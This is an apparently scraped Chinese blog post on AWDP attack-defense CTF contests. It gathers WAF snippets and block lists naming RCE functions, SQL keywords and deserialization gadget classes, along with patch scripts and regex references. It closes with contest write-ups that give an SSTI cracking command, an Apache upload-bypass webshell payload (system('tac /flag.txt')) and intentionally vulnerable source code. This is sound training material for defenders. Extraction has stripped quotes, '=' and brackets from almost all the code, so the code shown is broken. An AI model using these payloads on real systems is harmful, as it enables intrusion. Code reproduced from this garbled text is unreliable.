品划网络做网站,网页设计电子版教材,营销策划方案怎么做模板,wordpress目录主题文章首发于【先知社区】#xff1a;https://xz.aliyun.com/t/15535
一、AWDP概述
AWDP是什么
AWDP是一种综合考核参赛团队攻击、防御技术能力、即时策略的攻防兼备比赛模式。每个参赛队互为攻击方和防守方#xff0c;充分体现比赛的实战性、实时性和对抗性#xff0c;对参…文章首发于【先知社区】https://xz.aliyun.com/t/15535
一、AWDP概述
AWDP是什么
AWDP是一种综合考核参赛团队攻击、防御技术能力、即时策略的攻防兼备比赛模式。每个参赛队互为攻击方和防守方充分体现比赛的实战性、实时性和对抗性对参赛队的渗透能力和防护能力进行综合全面的考量。
AWDP一般分为两个板块Break自己的payload打通和Fix让主办方的payload打不通。通俗的讲其实就是CTF反CTF。
tipsFix一般比Break容易如果是同时进行的优先Fix。如果不是同时进行的Break时候建议思考Fix。
赛前准备工作
离线语言手册或者utools、安全文章库、各语言WAF
二、常见FIX手段
通用上WAF、注释漏洞语句
PHP特性基本上不会出现没有FIX的实际意义
SQL注入上WAF、addslashes() 函数过滤、预处理
SSTI上WAFSSTI只过滤{不行
原型链污染注释污染相关代码即可
文件上传后缀强校验、文件内容WAF、MIMA头最好一次都修上
JAVA注释、上调库版本、上WAF
代码审计上WAF、注释漏洞代码
三、WAF写法
tips
注意语法本地自己测试一下。WAF语法错了一个都防不住还容易error
平时做题遇到难的把他waf存一下
PHP
$str1 ;
foreach ($_POST as $key $value) {$str1.$key;$str1.$value;
}
$str2 ;
foreach ($_GET as $key $value) {$str2.$key;$str2.$value;
}
if (preg_match(/system|tail|flag|\|\|\|\{|\}|exec|base64|phpinfo|\?|\/i, $str1)||preg_match(/system|tail|flag|\|\|\|\{|\}|exec|base64|phpinfo|\?|\/i, $str2)) {die(no!);
}//RCE
function wafrce($str){return !preg_match(/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i, $str);
}//以下这个可以用短标签反引号通配符绕过过滤
preg_match(/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i, $str);//SQL
function wafsqli($str){return !preg_match(/select|and|\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleexml|extractvalue||regex|copy|read|file|create|grand|dir|insert|link|server|drop||||;|\|\|\^|\|/i, $str);
}if (preg_match(/select|flag|union|\\\\$|\|\|--|#|\\0|into|alert|img|prompt|set|/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\|\|\^|\x00|\#|\x23|[0-9]|file|\|or|\x7c|select|and|flag|into|where|\x26|\|\|union|\|sleep|benchmark|regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|load|outfile|dumpfile|load_file|join|show|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|join|is|between|group_concat|like|where|user|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|\|\*|\.|/is,$s)||strlen($s)50){header(Location: /);die();}//XSS
function wafxss($str){return !preg_match(/\|http|\|\|cookie|||script/i, $str);
}function wafrce($str){return !preg_match(/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i, $str);
}function wafsqli($str){return !preg_match(/select|and|\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleexml|extractvalue||regex|copy|read|file|create|grand|dir|insert|link|server|drop||||;|\|\|\^|\|/i, $str);
}function wafxss($str){return !preg_match(/\|http|\|\|cookie|||script/i, $str);
}
// fix后(XXE)
?phpfunction is_user_exists($username, $user_info_dir): bool{$dirs array_filter(glob($user_info_dir . /*), is_dir);foreach ($dirs as $dir) {$dirName basename($dir);if($dirName $username) return true;}return false;}function register_user($username, $user_info_dir, $user_xml){$r /php|read|flag/i;$username preg_replace($r,,$username);$user_dir_name $user_info_dir.$username;mkdir($user_dir_name, 0777);file_put_contents($user_dir_name./.$username..xml, $user_xml);}function get_user_record($username, $user_info_dir){$r /php|read|flag/i;$username preg_replace($r,,$username);$user_info_xml file_get_contents($user_info_dir.$username./.$username..xml);$dom new DOMDocument();$dom-loadXML($user_info_xml, LIBXML_NOENT | LIBXML_DTDLOAD);return simplexml_import_dom($dom);}Go
这个写在漏洞点前面然后input替换成我们需要检测正则的字符串即可。检测到就会return结束。但是下面的正则写法依赖strings库
import (fmtstrings
)func main() {var input stringfmt.Print(请输入一个字符串)fmt.Scanln(input)maliciousStrings : []string{union, select, delete, insert, update, truncate, drop, create, \, , , {{, }}, .,{,},flag}input strings.ToLower(input) // 将输入转换为小写便于匹配for _, s : range maliciousStrings {if strings.Contains(input, s) {return // 包含恶意字符串}}下面这个写法不依赖这个库。但是代码会多点。都是自己实现的功能
import (fmt
)func main() {var input stringfmt.Print(请输入一个字符串)fmt.Scanln(input)maliciousStrings : []string{union, select, delete, insert, update, truncate, drop, create, \, , , {{, }}, .,{,},flag}if isMalicious(input, maliciousStrings) {return}
}func isMalicious(input string, maliciousStrings []string) bool {input stringToLower(input)for _, s : range maliciousStrings {if stringContains(input, s) {return true}}return false
}func stringToLower(str string) string {runes : []rune(str)for i, r : range runes {if r A r Z {runes[i] r (a - A)}}return string(runes)
}func stringContains(str string, substr string) bool {strRunes : []rune(str)substrRunes : []rune(substr)for i : 0; i len(strRunes)-len(substrRunes); i {found : truefor j : 0; j len(substrRunes); j {if strRunes[ij] ! substrRunes[j] {found falsebreak}}if found {return true}}return false
}Nodejs
把下面的input改成题目的可控输入点即可
const input awdwawdd;
const maliciousStrings [__proto__, constructor, prototype, insert, update, truncate, drop, create, \, , , {{, }},union, select, delete, \, , , {{, }}, .,{,},flag];function isMalicious(input, maliciousStrings) {input input.toLowerCase();for (let i 0; i maliciousStrings.length; i) {const pattern new RegExp(maliciousStrings[i], i);if (pattern.test(input)) {return true;}}return false;
}if (isMalicious(input, maliciousStrings)) {console.log(输入参数包含恶意字符串);
} else {console.log(输入参数安全);
}// fix后
app.get(/profile, function (req, res) {...............const blacklist [outputFunctionName, __proto__, return, global, process, mainModule, constructor, child, execSync,escapeFunction, client, compileDebug, prototype]for (let i 0; i blacklist.length; i) {if (data.includes(blacklist[i])){return res.status(400).render(error, { code: 400, msg: hack });}}Java
import java.util.regex.Pattern;public class MaliciousInputChecker {public static void main(String[] args) {String input SELECT * FROM users WHERE id 1 OR 11;}public static boolean isMalicious(String input, String[] maliciousStrings) {input input.toLowerCase();for (int i 0; i maliciousStrings.length; i) {Pattern pattern Pattern.compile(maliciousStrings[i], Pattern.CASE_INSENSITIVE);if (pattern.matcher(input).find()) {return true;}}return false;}}Python
input_str awdawafaunonwdwamalicious_strings [__proto__, constructor, prototype, insert, update, truncate, drop, create, \, , , {{, }},union, select, delete, \, , , {{, }}, .,{,},flag]for s in malicious_strings:if input_str.lower().find(s) ! -1:exit()black_list [{{,}}, , , _, [,.,%,,|,(,),{,},\\,/]for tmp in black_list:if tmp in v:raise ValueError(note cannot contain a special character)const keywords [flag, exec, read, open, ls, cat];for (const i of keywords) {if (code.includes(i)) {result Hacker! }else{result vm.run((code));}
}# fix
app.route(/, methods[GET, POST])
def index():ip, port re.findall(pattern,request.host).pop()if request.method POST and request.form.get(word):word request.form.get(word)black_list [{{,}}, , , _, [,.,%,,|,(,),{,},\\,/,flag]for tmp in black_list:if tmp in word:word Hacker!if not waf(word):word Hacker!else:word return render_template_string(content % (str(ip), str(port), str(word)))正则表达式
PHP 一、校验数字的表达式
数字^[0-9]*$
n位的数字^\d{n}$
至少n位的数字^\d{n,}$
m-n位的数字^\d{m,n}$
零和非零开头的数字^(0|[1-9][0-9]*)$
非零开头的最多带两位小数的数字^([1-9][0-9]*)(.[0-9]{1,2})?$
带1-2位小数的正数或负数^(\-)?\d(\.\d{1,2})?$
正数、负数、和小数^(\-|\)?\d(\.\d)?$
有两位小数的正实数^[0-9](.[0-9]{2})?$
有1~3位小数的正实数^[0-9](.[0-9]{1,3})?$
非零的正整数^[1-9]\d*$ 或 ^([1-9][0-9]*){1,3}$ 或 ^\?[1-9][0-9]*$
非零的负整数^\-[1-9][]0-9*$ 或 ^-[1-9]\d*$
非负整数^\d$ 或 ^[1-9]\d*|0$
非正整数^-[1-9]\d*|0$ 或 ^((-\d)|(0))$二、校验字符的表达式
汉字^[\u4e00-\u9fa5]{0,}$
英文和数字^[A-Za-z0-9]$ 或 ^[A-Za-z0-9]{4,40}$
长度为3-20的所有字符^.{3,20}$
由26个英文字母组成的字符串^[A-Za-z]$
由26个大写英文字母组成的字符串^[A-Z]$
由26个小写英文字母组成的字符串^[a-z]$
由数字和26个英文字母组成的字符串^[A-Za-z0-9]$
由数字、26个英文字母或者下划线组成的字符串^\w$ 或 ^\w{3,20}$
中文、英文、数字包括下划线^[\u4E00-\u9FA5A-Za-z0-9_]$
中文、英文、数字但不包括下划线等符号^[\u4E00-\u9FA5A-Za-z0-9]$ 或 ^[\u4E00-\u9FA5A-Za-z0-9]{2,20}$
可以输入含有^%,;?$\等字符[^%,;?$\x22]
禁止输入含有~的字符[^~\x22]三、特殊需求表达式
Email地址^\w([-.]\w)*\w([-.]\w)*\.\w([-.]\w)*$
域名[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(/.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})/.?
InternetURL[a-zA-z]://[^\s]* 或 ^http://([\w-]\.)[\w-](/[\w-./?%]*)?$
手机号码^(13[0-9]|14[5|7]|15[0|1|2|3|5|6|7|8|9]|18[0|1|2|3|5|6|7|8|9])\d{8}$
电话号码(XXX-XXXXXXX、XXXX-XXXXXXXX、XXX-XXXXXXX、XXX-XXXXXXXX、XXXXXXX和XXXXXXXX)^(\(\d{3,4}-)|\d{3.4}-)?\d{7,8}$
国内电话号码(0511-4405222、021-87888822)\d{3}-\d{8}|\d{4}-\d{7}
身份证号
15或18位身份证^\d{15}|\d{18}$
15位身份证^[1-9]\d{7}((0\d)|(1[0-2]))(([0|1|2]\d)|3[0-1])\d{3}$
18位身份证^[1-9]\d{5}[1-9]\d{3}((0\d)|(1[0-2]))(([0|1|2]\d)|3[0-1])\d{4}$
短身份证号码(数字、字母x结尾)^([0-9]){7,18}(x|X)?$ 或 ^\d{8,18}|[0-9x]{8,18}|[0-9X]{8,18}?$
帐号是否合法(字母开头允许5-16字节允许字母数字下划线)^[a-zA-Z][a-zA-Z0-9_]{4,15}$
密码(以字母开头长度在6~18之间只能包含字母、数字和下划线)^[a-zA-Z]\w{5,17}$
强密码(必须包含大小写字母和数字的组合不能使用特殊字符长度在8-10之间)^(?.*\d)(?.*[a-z])(?.*[A-Z]).{8,10}$
日期格式^\d{4}-\d{1,2}-\d{1,2}
一年的12个月(0109和112)^(0?[1-9]|1[0-2])$
一个月的31天(0109和131)^((0?[1-9])|((1|2)[0-9])|30|31)$
中文字符的正则表达式[\u4e00-\u9fa5]
空白行的正则表达式\n\s*\r (可以用来删除空白行)
HTML标记的正则表达式(\S*?)[^]*.*?/\1|.*? / (网上流传的版本太糟糕上面这个也仅仅能部分对于复杂的嵌套标记依旧无能为力)
首尾空白字符的正则表达式^\s*|\s*$或(^\s*)|(\s*$) (可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等)非常有用的表达式)
腾讯QQ号[1-9][0-9]{4,} (腾讯QQ号从10000开始)
中国邮政编码[1-9]\d{5}(?!\d) (中国邮政编码为6位数字)
IP地址\d\.\d\.\d\.\d (提取IP地址时有用)Python
一般是用re模块
import re# 检查字符串是否包含字母a
txt Hello, world!
match re.search(a, txt)
print(match) # 输出None因为a没有在字符串中详细见本地下载的html文件
Java
\将下一字符标记为特殊字符、文本、反向引用或八进制转义符。例如 n匹配字符 n。\n 匹配换行符。序列 \\\\ 匹配 \\ \\( 匹配 (。^匹配输入字符串开始的位置。如果设置了 RegExp 对象的 Multiline 属性^ 还会与\n或\r之后的位置匹配。$匹配输入字符串结尾的位置。如果设置了 RegExp 对象的 Multiline 属性$ 还会与\n或\r之前的位置匹配。①字符的取值范围[abc] : 表示可能是a可能是b也可能是c。[^abc]: 表示不是a,b,c中的任意一个[a-zA-Z]: 表示是英文字母[0-9]:表示是数字②字符表示.匹配任意的字符除了换行符。\d表示数字\D表示非数字\s表示由空格组成[ \t\n\r\x\f]\S表示由非空字符组成[^\s]\w表示字母、数字、下划线[a-zA-Z0-9_]\W表示不是由字母、数字、下划线组成\b匹配一个字边界即字与空格间的位置。例如er\b匹配never中的er但不匹配verb中的er。\B非字边界匹配。er\B匹配verb中的er但不匹配never中的er。③数量表达式?: 表示出现0次或1次同下和*跟在字母或者.点号后面。: 表示出现1次或多次*: 表示出现0次、1次或多次{n}表示出现n次{n,m}表示出现n~m次{n,}表示出现n次或n次以上①校验数字的表达式数字^[0-9]*$n位的数字^\d{n}$至少n位的数字^\d{n,}$m-n位的数字^\d{m,n}$零和非零开头的数字^(0|[1-9][0-9]*)$非零开头的最多带两位小数的数字^([1-9][0-9]*)(\.[0-9]{1,2})?$带1-2位小数的正数或负数^(\-)?\d(\.\d{1,2})$正数、负数、和小数^(\-|\)?\d(\.\d)?$有两位小数的正实数^[0-9](\.[0-9]{2})?$有1~3位小数的正实数^[0-9](\.[0-9]{1,3})?$非零的正整数^[1-9]\d*$ 或 ^([1-9][0-9]*){1,3}$ 或 ^\?[1-9][0-9]*$非零的负整数^\-[1-9][]0-9*$ 或 ^-[1-9]\d*$非负整数^\d$ 或 ^[1-9]\d*|0$非正整数^-[1-9]\d*|0$ 或 ^((-\d)|(0))$非负浮点数^\d(\.\d)?$ 或 ^[1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0|0$非正浮点数^((-\d(\.\d)?)|(0(\.0)?))$ 或 ^(-([1-9]\d*\.\d*|0\.\d*[1-9]\d*))|0?\.0|0$正浮点数^[1-9]\d*\.\d*|0\.\d*[1-9]\d*$ 或 ^(([0-9]\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9])|([0-9]*[1-9][0-9]*))$负浮点数^-([1-9]\d*\.\d*|0\.\d*[1-9]\d*)$ 或 ^(-(([0-9]\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9])|([0-9]*[1-9][0-9]*)))$浮点数^(-?\d)(\.\d)?$ 或 ^-?([1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0|0)$②校验字符的表达式汉字^[\u4e00-\u9fa5]{0,}$ //涉及到编码了英文和数字^[A-Za-z0-9]$长度为3-20的所有字符^.{3,20}$由26个英文字母组成的字符串^[A-Za-z]$由26个大写英文字母组成的字符串^[A-Z]$由26个小写英文字母组成的字符串^[a-z]$由数字和26个英文字母组成的字符串^[A-Za-z0-9]$由数字、26个英文字母或者下划线组成的字符串^\w$ 或 ^\w{3,20}$中文、英文、数字包括下划线^[\u4E00-\u9FA5A-Za-z0-9_]$中文、英文、数字但不包括下划线等符号^[\u4E00-\u9FA5A-Za-z0-9]$ 或 ^[\u4E00-\u9FA5A-Za-z0-9]{2,20}$可以输入含有^%,;?$\等字符[^%,;?$\x22]禁止输入含有~的字符[^~\x22]③真实实例Email地址^\w([-.]\w)*\w([-.]\w)*\.\w([-.]\w)*$域名[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})\.?InternetURL[a-zA-z]://[^\s]* 或 ^http://([\w-]\.)[\w-](/[\w-./?%]*)?$手机号码^(13[0-9]|14[5|7]|15[0|1|2|3|4|5|6|7|8|9]|18[0|1|2|3|5|6|7|8|9])\d{8}$电话号码^(\(\d{3,4}-)|\d{3.4}-)?\d{7,8}$国内电话号码\d{3}-\d{8}|\d{4}-\d{7}身份证号(15位、18位数字)最后一位是校验位可能为数字或字符X(^\d{15}$)|(^\d{18}$)|(^\d{17}(\d|X|x)$)帐号是否合法(字母开头允许5-16字节允许字母数字下划线)^[a-zA-Z][a-zA-Z0-9_]{4,15}$密码(以字母开头长度在6~18之间只能包含字母、数字和下划线)^[a-zA-Z]\w{5,17}$强密码(必须包含大小写字母和数字的组合不能使用特殊字符长度在 8-10 之间)^(?.*\d)(?.*[a-z])(?.*[A-Z])[a-zA-Z0-9]{8,10}$强密码(必须包含大小写字母和数字的组合可以使用特殊字符长度在8-10之间)^(?.*\d)(?.*[a-z])(?.*[A-Z]).{8,10}$日期格式^\d{4}-\d{1,2}-\d{1,2}一年的12个月(0109和112)^(0?[1-9]|1[0-2])$一个月的31天(0109和131)^((0?[1-9])|((1|2)[0-9])|30|31)$xml文件^([a-zA-Z]-?)[a-zA-Z0-9]\\.[x|X][m|M][l|L]$中文字符的正则表达式[\u4e00-\u9fa5]双字节字符[^\x00-\xff] (包括汉字在内可以用来计算字符串的长度(一个双字节字符长度计2ASCII字符计1))空白行的正则表达式\n\s*\r (可以用来删除空白行)HTML标记的正则表达式(\S*?)[^]*.*?|.*? / ( 首尾空白字符的正则表达式^\s*|\s*$或(^\s*)|(\s*$) (可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等)非常有用的表达式)腾讯QQ号[1-9][0-9]{4,} (腾讯QQ号从10000开始)中国邮政编码[1-9]\d{5}(?!\d) (中国邮政编码为6位数字)IP地址((?:(?:25[0-5]|2[0-4]\\d|[01]?\\d?\\d)\\.){3}(?:25[0-5]|2[0-4]\\d|[01]?\\d?\\d))
————————————————
版权声明本文为CSDN博主「Jay 17」的原创文章遵循CC 4.0 BY-SA版权协议转载请附上原文出处链接及本声明。
原文链接https://blog.csdn.net/Jayjay___/article/details/129827158Nodejs
略
Go
略
四、其他防御手段
PHP
SQL注入
addslashes() 函数 addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。 预定义字符是 单引号双引号反斜杠\NULL 该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。 $username $_GET[username];
$password $_GET[password];$username addslashes($username);
$password addslashes($password);if (isset($_GET[username]) isset($_GET[password])) {$sql SELECT * FROM users WHERE username $username AND password $password;放到漏洞点的最前面
foreach($_REQUEST as $key$value) {$_POST[$key] addslashes($value);$_GET[$key] addslashes($value);$_REQUEST[$key] addslashes($value);
}预编译预处理
预处理算是sql里面的通防了。
原来源码
?php
error_reporting(0);
include dbConnect.php;
$username $_GET[username];
$password $_GET[password];
if (isset($_GET[username]) isset($_GET[password])) {$sql SELECT * FROM users WHERE username $username AND password $password;$result $mysqli-query($sql);if (!$result)die(mysqli_error($mysqli));$data $result-fetch_all(); // 从结果集中获取所有数据if (!empty($data)) {echo 登录成功;} else {echo 用户名或密码错误;}
}
?mysql 预处理来自amiaaaz师傅的博客 PDO 预处理来自amiaaaz师傅的博客 .htaccess
——来自chu0✌
完全禁止访问
可能会被判宕机
IfModule mod_rewrite.c
deny from all
/IfModule禁止访问以ph开头的文件
IfModule mod_rewrite.cRewriteEngine OnRewriteRule \.ph.*$ - [F]
/IfModule防某固定文件访问可以用来防不死马直接403
IfModule mod_rewrite.cRewriteEngine OnRewriteRule ^\.index\.php$ - [F]
/IfModulethinkphp框架防护
把这个waf直接上到public/index.php最前面
可以防住所有的tp框架漏洞
foreach($_REQUEST as $key$value) {$_POST[$key] preg_replace(/construct|get|call_user_func|load|invokefunction|Session|phpinfo|param1|Runtime|assert|input|dump|checkcode|union|select|updatexml|/i,,$value);$_GET[$key] preg_replace(/construct|get|call_user_func|load|invokefunction|Session|phpinfo|param1|Runtime|assert|input|dump|checkcode|union|select|updatexml|/i,,$value);
}Java
文件上传
在文件夹下上传monitor-Go用下面的命令运行
./monitor-Go命令黑名单
String a 123;
String[] blacklist {Runtime,\\u,exec,\,,,,(,),\\,,};
for(int i 0; iblacklist.length; i){if(a.contains(blacklist[i])){
throw new Exception();}
}反序列化
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.HashSet;
import java.util.Set;public class NewObjectInputStream extends ObjectInputStream {private static final SetString BLACKLISTED_CLASSES new HashSet();static {BLACKLISTED_CLASSES.add(java.lang.Runtime);BLACKLISTED_CLASSES.add(java.lang.ProcessBuilder);BLACKLISTED_CLASSES.add(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl);BLACKLISTED_CLASSES.add(java.security.SignedObject);
// BLACKLISTED_CLASSES.add(com.sun.jndi.ldap.LdapAttribute);
// BLACKLISTED_CLASSES.add(org.apache.commons.collections.functors.InvokerTransformer);
// BLACKLISTED_CLASSES.add(org.apache.commons.collections.map.LazyMap);
// BLACKLISTED_CLASSES.add(org.apache.commons.collections4.functors.InvokerTransformer);
// BLACKLISTED_CLASSES.add(org.apache.commons.collections4.map.LazyMap);
// BLACKLISTED_CLASSES.add(javax.management.BadAttributeValueExpException);}public NewObjectInputStream(InputStream inputStream) throws IOException {super(inputStream);}Override // java.io.ObjectInputStreamprotected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {if (BLACKLISTED_CLASSES.contains(desc.getName())) {throw new SecurityException();}return super.resolveClass(desc);}
}不断网防御法
不断网时候遇到java直接在pom.xml里面升级版本全部往上调。 fastjson版本修复用1.2.68autoType绕过还有一种办法就是下载maven外加做了那么多java题依赖肯定不少
class文件编译后直接拖进jar包替换
Nodejs
可以尝试merge的参数改成白名单只能传入admin。emmm好一个奇技淫巧
黑名单过滤
const blacklist [exec,\,,.,(,),,]const a 123for (const pattern of blacklist){if(pattern.includes(a)){throw new Error();}
}
Python
sql注入
conn sqlite3.connect(db.sqlite3)
cursor conn.cursor()
cursor.execute(INSERT INTO sys_users (username, password, role) VALUES ( ? , ? , ? ), (username, password, role))content blacklist [\,union,\,select,(,),,, ,%]
for i in blacklist:if i in content.lower():exit()黑名单过滤
content blacklist [\,exec,\,os,open,system,import,_,\\u,doc]
for i in blacklist:if i in content.lower():exit()五、安恒AWDP
历史比赛羊城杯2023、楚慧杯2024、CISCN2024华东南
赛制概述Break、Fix分开来的。连上SSH自己修改代码一小时Check一次统一检查选手修复情况比较刺激。
经验之谈一共五题会比初赛简单AK完全有可能。五题一般为签到、文件上传、代码审计、Python漏洞、压轴题。其中签到、文件上传都是能秒了的。文件上传修复点可能有多个。
检测状态分为
通过未通过不告诉具体原因
第一轮修出3个基本上拿个证书就稳了
六、永信至诚AWDP
历史比赛CISCN2023、春秋杯夏季赛打的不多出题习惯没摸透
赛制概述
Fix给15-20次机会随选手什么时候用都行。一般是上传一个压缩文件包patch包…
检测状态分为
exp利用成功检测/运行异常防御成功
造成服务检测异常可能是由以下两点造成的 过滤了正常流量中的某些字符或符号导致正常服务出现错误。 页面返回的结果要符合逻辑比如本来需要返回hacker的经过过滤后不能让他返回error也需要返回hacker。因此这里只能把一些关键的字符以及符号过滤了
注意事项
patch包(.sh)
要确保patch.sh / update.sh有效并且可以重置进程。
如果题目是直接给出了patch.sh的示例我们只需要修改对应的文件名即可
# 题目给出的示例
ps -ef | grep python | grep -v grep | awk {print $2} | xargs kill -9
mv -f XXX.py /onlinenotepad1452/XXX.py
cd /onlinenotepad1452/ python XXX.py# 修改后的结果
ps -ef | grep python | grep -v grep | awk {print $2} | xargs kill -9
mv -f main.py /onlinenotepad1452/main.py
cd /onlinenotepad1452/ python main.pypatch包示例
php
#!/bin/bashcp /index.php /var/www/html/index.phpPython
#!/bin/shcp /app.py /app/app.py
ps -ef | grep python | grep -v grep | awk {print $2} | xargs kill -9
cd /app nohup python app.py /opt/app.log 21 Go
#!/bin/bashkill -9 $(pidof app)
cp ezgo_patch /app
chmod x /app
/app 21 /dev/null Nodejs
#!/bin/shcp server.js /app/server.js
ps -ef | grep node | grep -v grep | awk {print $2} | xargs kill -9
cd /app nohup node server.js /opt/aa.log 21 修改文件
mv -f explorer.php /www/html///防止目录未知
mv -f explorer.php $(dirname find / -name explorer.php 2/dev/null)/explorer.php打包
可以通过Linux中的命令打包格式一般会要求.tar.gz的形式
tar -zcvf patch.tar.gz main.py patch.sh杀线程
用ps去找进程然后kill掉JavaScript
ps -ef|grep npm|grep -v grep |awk {print $2}|xargs kill -9
ps -ef|grep node|grep -v grep |awk {print $2}|xargs kill -9根据目录杀线程
ps -ef|grep app|grep -v grep |awk {print $2}|xargs kill -9小tips
要根据服务启动的用户去启动例如weblogic不能root启动不能盲目使用sudo命令以及就是权限问题最好直接给777权限
sudo chmod -R 777 /app/*七、AWDP实践
[羊城杯-2023-决赛] ezSSTI (Break)
BreakFix其实就是CTFFixFix规则有点难崩。Break和Fix题目是一样的。 看到是SSTI焚靖直接一把梭了。
python -m fenjing crack --method GET --inputs name --url http://10.1.110.2:20000/瞎了执行ls /时候flag文件在命令旁边没看见find命令找了好久呜呜呜。
痛失一血只有二血。。。。 源码如下
from flask import Flask,request
from jinja2 import Template
import reapp Flask(__name__)app.route(/)
def index():name request.args.get(name,CTFer!--?nameCTFer)if not re.findall(r|_|\\x|\\u|{{|\|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen,name):t Template(hello name)return t.render()else:t Template(Hacker!!!)return t.render()if __name__ __main__:app.run(host0.0.0.0,port5000)[羊城杯-2023-决赛] ezSSTI (Fix)
初始源码
from flask import Flask,request
from jinja2 import Template
import reapp Flask(__name__)app.route(/)
def index():name request.args.get(name,CTFer!--?nameCTFer)if not re.findall(r|_|\\x|\\u|{{|\|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen,name):t Template(hello name)return t.render()else:t Template(Hacker!!!)return t.render()if __name__ __main__:app.run(host0.0.0.0,port5000)修后源码正则过滤部分多加了。
但是没过很奇怪为什么过滤了单个花括号{及其URL编码都不行当时check后 也不回显是waf多了还是少了。迷。
from flask import Flask,request
from jinja2 import Template
import reapp Flask(__name__)app.route(/)
def index():name request.args.get(name,CTFer!--?nameCTFer)if not re.findall(r|_|\\x|\\u|{{|\|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen|{|set|\[|\(|%7b|eval|1|2|3|4|5|6|7|8|9,name):t Template(hello name)return t.render()else:t Template(Hacker!!!)return t.render()if __name__ __main__:app.run(host0.0.0.0,port5000)贴一个Enterpr1se师傅的waf
还需要过滤引号、斜杠等符号。 [羊城杯-2023-决赛] easyupload (Break)
题目描述小明同学学会了用apache搭建网站你能帮助他找到存在的安全问题么
开题是一个非常猛男的网页需要登录。 本来想爆破的看了一下源码发现账号密码就在源码里面。 登录后是一个文件上传的界面。
题目提到了Apache那么我们首先想到的就是Apache解析漏洞啦。 上传文件名为shell.php.txt检查时候php拿到的是.txt后缀解析时候Apache把文件当成是.php后缀。 访问上传文件的链接在源码里面。 payload
1system(tac /flag.txt);[羊城杯-2023-决赛] easyupload (Fix)
初始源码dadaadwdwfegrgewg.php
?php
header(Content-type: text/html;charsetutf-8);
error_reporting(1);define(WWW_ROOT,$_SERVER[DOCUMENT_ROOT]);
define(APP_ROOT,str_replace(\\,/,dirname(__FILE__)));
define(APP_URL_ROOT,str_replace(WWW_ROOT,,APP_ROOT));
define(UPLOAD_PATH, upload);
?
?php$is_upload false;
$msg null;
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,.php1,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.pHp1,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.ini);$file_name trim($_FILES[upload_file][name]);$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA$file_ext trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg 此文件不允许上传!;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}
}
?div idupload_panelform enctypemultipart/form-data methodpost onsubmitreturn checkFile()p请选择要上传的图片pinput classinput_file typefile nameupload_file/input classbutton typesubmit namesubmit value上传//formdiv idmsg?php if($msg ! null){echo 提示.$msg;}?/divdiv idimg?phpif($is_upload){echo img src.$img_path. width250px /;}?/div
/div修后源码黑名单变成白名单只允许出现一个点号前者防止.htaccess配置文件后者防Apache解析漏洞。
?php
header(Content-type: text/html;charsetutf-8);
error_reporting(1);define(WWW_ROOT,$_SERVER[DOCUMENT_ROOT]);
define(APP_ROOT,str_replace(\\,/,dirname(__FILE__)));
define(APP_URL_ROOT,str_replace(WWW_ROOT,,APP_ROOT));
define(UPLOAD_PATH, upload);
?
?php$is_upload false;
$msg null;
